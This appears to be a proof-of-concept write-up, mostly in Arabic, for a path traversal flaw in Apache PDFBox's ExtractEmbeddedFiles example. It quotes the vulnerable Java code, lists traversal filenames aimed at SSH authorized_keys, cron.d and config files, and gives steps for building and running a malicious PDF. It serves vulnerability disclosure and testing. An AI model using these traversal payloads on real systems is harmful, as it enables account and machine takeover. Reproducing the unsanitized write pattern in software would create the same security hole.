
إثبات مفهوم لاستغلال ثغرة اجتياز المسار في Apache PDFBox (CVE-2026-23907)، يوضح كتابة ملفات تعسفية عبر ملفات PDF ضارة تحتوي على ملفات مضمّنة.
لا يقوم الكود المثال ExtractEmbeddedFiles في Apache PDFBox بتعقيم أسماء الملفات عند استخراج الملفات المدمجة من ملفات PDF. يمكن للمهاجم تضمين ملفات تحتوي على تسلسلات اجتياز المسار (../) لكتابة ملفات في مواقع عشوائية على نظام الملفات.
الملف: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
تأتي معلمة filename مباشرة من ملف PDF دون أي تحقق.
حقن مفاتيح SSH
../../.ssh/authorized_keysحقن مهام Cron
../../../etc/cron.d/maliciousاستبدال ملفات الإعدادات
../../config/database.ymlcreate_malicious_pdf.py - إنشاء ملف PDF خبيث مع اجتياز المسارTestPathTraversal.java - يوضح الثغرةtest_path_traversal.sh - سكربت اختبار آليmalicious_path_traversal.pdf - ملف PDF خبيث مُنشأ مسبقًا./test_path_traversal.sh
# 1. إنشاء ملف PDF خبيث
python3 create_malicious_pdf.py
# 2. تجميع الاختبار (يتطلب ملف PDFBox JAR)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. تشغيل الاختبار
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. التحقق من اجتياز المسار
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() دون تعقيم